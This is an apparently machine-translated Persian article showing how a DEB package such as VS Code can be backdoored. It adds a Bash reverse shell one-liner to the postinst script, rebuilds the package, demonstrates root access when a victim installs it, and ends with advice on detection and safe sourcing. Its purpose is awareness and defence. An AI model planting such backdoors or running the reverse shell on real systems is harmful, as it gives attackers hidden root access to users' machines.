آیا می دانستید مهاجمان می توانند اسکریپت های بسته بندی شده در یک فایل DEB را برای دسترسی غیرمجاز به رایانه شخصی شما تغییر دهند؟ در اینجا نحوه درپشتی بسته های DEB آمده است.
نکات کلیدی
- بستههای DEB را میتوان به راحتی پشتیبان کرد و به مهاجمان این امکان را میدهد که وقتی آنها را با مجوزهای روت نصب میکنید، کدهای مخرب را به سیستم شما تزریق کنند.
- شناسایی بسته های DEB آلوده دشوار است، زیرا ممکن است توسط نرم افزار آنتی ویروس یا راه حل های ابری مانند VirusTotal علامت گذاری نشوند.
- برای محافظت از خود، از دانلود بستههای DEB از سایتهای تصادفی خودداری کنید، به سایتهای دانلود رسمی یا سایتهای مورد اعتماد جامعه بچسبید و ابزارهای امنیتی را برای ایمن کردن سیستم لینوکس خود در برابر حملات شبکه نصب کنید.
فایلهای DEB بستههای نرمافزاری هستند که قالب اصلی نرمافزار حمل و نقل در توزیعهای لینوکس مبتنی بر دبیان هستند.
برای نصب بسته های DEB، باید از یک مدیریت بسته مانند dpkg با مجوزهای ریشه استفاده کنید. مهاجمان از این مزیت استفاده می کنند و درهای پشتی را به این بسته ها تزریق می کنند. هنگامی که آنها را با dpkg یا هر بسته منیجر دیگری نصب می کنید، کد مخرب نیز در کنار آن اجرا می شود و سیستم شما را به خطر می اندازد.
بیایید بررسی کنیم که چگونه بستههای DEB در پشتی هستند و چه کارهایی میتوانید برای محافظت از خود انجام دهید.
بسته های DEB چگونه پشتیبان هستند؟
قبل از اینکه بفهمید بستههای DEB چگونه درب پشتی هستند، بیایید آنچه را در داخل بسته DEB وجود دارد بررسی کنیم. برای نمایش، بسته Microsoft Visual Studio Code DEB را از وب سایت رسمی مایکروسافت دانلود می کنم. این همان بسته ای است که اگر بخواهید VS Code را روی لینوکس نصب کنید، دانلود می کنید.
دانلود: کد ویژوال استودیو
اکنون که بسته مورد نظر را دانلود کرده اید، وقت آن است که آن را باز کنید. می توانید بسته DEB را با استفاده از دستور dpkg-deb با پرچم -R که مسیر ذخیره محتویات را دنبال می کند، باز کنید:
dpkg-deb -R <package_name> <path>
این باید محتویات بسته VS Code را استخراج کند.
با انتقال به پوشه، چندین دایرکتوری پیدا خواهید کرد، با این حال، علاقه ما فقط به دایرکتوری DEBIAN است. این دایرکتوری حاوی اسکریپت های نگهدارنده است که در حین نصب با امتیازات ریشه اجرا می شوند. همانطور که قبلاً متوجه شده اید، مهاجمان اسکریپت های موجود در این فهرست را تغییر می دهند.
برای نمایش، من اسکریپت postinst را تغییر میدهم و یک پوسته TCP معکوس Bash تک خطی را اضافه میکنم. همانطور که از نام آن پیداست، این اسکریپت است که پس از نصب بسته بر روی سیستم اجرا می شود.
این شامل دستوراتی است که پیکربندی ها را نهایی می کند، مانند راه اندازی پیوندهای نمادین، مدیریت وابستگی و موارد دیگر. شما می توانید هزاران پوسته معکوس مختلف را در اینترنت پیدا کنید. اکثر آنها یکسان عمل خواهند کرد. در اینجا نمونه یک لایه پوسته معکوس است:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
توضیح دستور:
- bash: این دستوری است که پوسته Bash را فراخوانی می کند.
- -i: پرچم به Bash میگوید که در حالت تعاملی اجرا شود و به دستور بیدرنگ اجازه ورود/خروج را بدهد.
- >& /dev/tcp/ip/port: این خروجی استاندارد و خطای استاندارد را به سوکت شبکه هدایت می کند و اساساً یک اتصال TCP به
و برقرار می کند. - 0>&1: این ورودی و خروجی را به یک مکان، یعنی به سوکت شبکه هدایت می کند.
برای کسانی که راه اندازی نشده اند، پوسته معکوس نوعی کد است که وقتی روی ماشین هدف اجرا می شود، اتصال را به ماشین مهاجم آغاز می کند. پوسته های معکوس یک راه عالی برای دور زدن محدودیت های فایروال هستند زیرا ترافیک از ماشین پشت فایروال ایجاد می شود.
اسکریپت اصلاح شده به این صورت است:
همانطور که می بینید، همه چیز یکسان است اما فقط یک خط اضافه شده است، یعنی پوسته معکوس Bash ما. اکنون باید فایل ها را به فرمت “.deb” برگردانید. به سادگی از دستور dpkg با پرچم –build استفاده کنید یا از dpkg-deb با پرچم -b و به دنبال مسیر محتوای استخراج شده استفاده کنید:
dpkg --build <directory>
dpkg-deb -b <directory>
اکنون بسته DEB درب پشتی آماده ارسال در سایت های مخرب است. بیایید سناریویی را شبیه سازی کنیم که در آن قربانی بسته DEB را روی سیستم خود دانلود کرده و آن را مانند هر بسته معمولی دیگری نصب می کند.
صفحه پایانه بالایی برای POV قربانی و قسمت پایینی POV مهاجم است. قربانی در حال نصب بسته با sudo dpkg -i است و مهاجم با حوصله به اتصالات ورودی با استفاده از دستور netcat در لینوکس گوش می دهد.
به محض اتمام نصب، متوجه شوید که مهاجم اتصال پوسته معکوس را دریافت می کند و اکنون به سیستم قربانی دسترسی ریشه دارد. اکنون می دانید که بسته های DEB چگونه درب پشتی هستند. اکنون بیاموزیم که چگونه می توانید از خود محافظت کنید.
نحوه تشخیص مخرب بودن بسته DEB
اکنون که میدانید بستههای DEB آلوده یک چیز هستند، حتماً از خود میپرسید که چگونه بستههای آلوده را پیدا کنید. برای شروع، می توانید از یک نرم افزار آنتی ویروس لینوکس مانند ClamAV استفاده کنید. متأسفانه، هنگامی که یک اسکن ClamAV روی بسته اجرا شد، آن را به عنوان مخرب علامت گذاری نکرد. در اینجا نتیجه اسکن است:
بنابراین، مگر اینکه یک راهحل آنتیویروس ممتاز در اختیار داشته باشید (که تضمینی برای هک نشدن شما نیست)، شناسایی بستههای مخرب DEB بسیار سخت است. بیایید سعی کنیم از یک راه حل ابری مانند وب سایت VirusTotal استفاده کنیم:
همانطور که می بینید VirusTotal هیچ مشکلی در آن تشخیص نداد. خوب، تنها راه برای محافظت از خود در برابر چنین تهدیداتی، رعایت اصول بهداشتی امنیتی مانند دانلود نکردن فایلها از منابع ناشناس، همیشه بررسی هش یک فایل و به طور کلی اجتناب از نصب نرمافزارهای سایهدار است.
اینترنت پر از چنین تهدیداتی است. تنها راه برای گشت و گذار بدون از دست دادن داده های خود این است که عقل خود را در مورد خود داشته باشید و سایت های مورد اعتماد را مرور کنید. علاوه بر این، برای لینوکس، باید سعی کنید ببینید آیا نرمافزاری که دانلود میکنید دارای یک نوع AppImage است یا خیر، زیرا آنها مستقل هستند و میتوانند جعبهشنی شوند و بنابراین با سیستم شما در تماس نیستند.
بسته های DEB را از سایت های تصادفی دانلود نکنید!
بستههای DEB ذاتاً بد نیستند، با این حال، مهاجمان میتوانند به راحتی آنها را به سلاح تبدیل کرده و به کاربران ناشناس ارسال کنند. همانطور که نشان داده شد، یک بسته DEB را می توان به راحتی باز کرد و آن را برای افزودن کد سفارشی تنها با چند دستور تغییر داد و آن را به یک بردار رایج برای ارسال بدافزار تبدیل کرد.
حتی درهای پشتی ساده در بستههای DEB توسط راهحلهای برتر آنتیویروس نادیده گرفته میشوند. بنابراین بهترین کار این است که ایمن باشید، عقل سلیم خود را در حین گشت و گذار در وب حفظ کنید و همیشه نرم افزار را فقط از سایت های رسمی دانلود یا سایت های مورد اعتماد جامعه دانلود کنید.
با نصب ابزارهای امنیتی، رایانه لینوکس خود را ایمن کنید
اکنون که از خطرات امنیتی ناشی از نصب بستههای DEB از سایتهای جدید یا ناشناخته آگاه هستید، هنگام نصب نرمافزار جدید باید محتاط باشید. با این حال، فقط مراقب آنچه که نصب می کنید کافی نیست. سیستم لینوکس شما می تواند هدف حملات شبکه نیز باشد.
برای اطمینان از اینکه در صورت حمله شبکه ایمن هستید، باید ابزارهای امنیتی شبکه را نصب کنید.